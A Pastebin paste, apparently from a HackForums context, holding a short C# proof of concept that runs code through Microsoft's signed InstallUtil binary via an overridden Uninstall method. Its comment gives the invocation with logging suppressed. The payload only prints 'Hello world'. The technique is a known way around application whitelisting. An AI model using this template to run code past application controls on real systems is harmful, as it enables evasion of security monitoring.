Advertisement
gigahf

InstallUtil POC

Aug 18th, 2017
466
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 0.77 KB | None | 0 0
  1. //compile: mcs test.cs -r:system.configuration.install.dll
  2. //call: c:\Windows\Microsoft.NET\Framework\v4.0.30319>installutil /logfile= /LogToConsole=false /U "C:\Users\Spock\Desktop\test.exe"
  3.  
  4. using System;
  5. using System.Configuration.Install;
  6. using System.IO;
  7. using System.Runtime.InteropServices;
  8. using System.Security.Principal;
  9.  
  10. namespace HackForums {
  11.    
  12.     [System.ComponentModel.RunInstaller(true)]
  13.     public class Demo : System.Configuration.Install.Installer {
  14.        
  15.         public static void Main(string[] argv) {
  16.             Console.WriteLine("Hello world. This program can execute normally and through InstallUtil");
  17.         }
  18.  
  19.         // This gets executed through installutil
  20.         public override void Uninstall(System.Collections.IDictionary savedState)
  21.         {
  22.             Demo.Main(null);
  23.         }
  24.        
  25.     }
  26. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement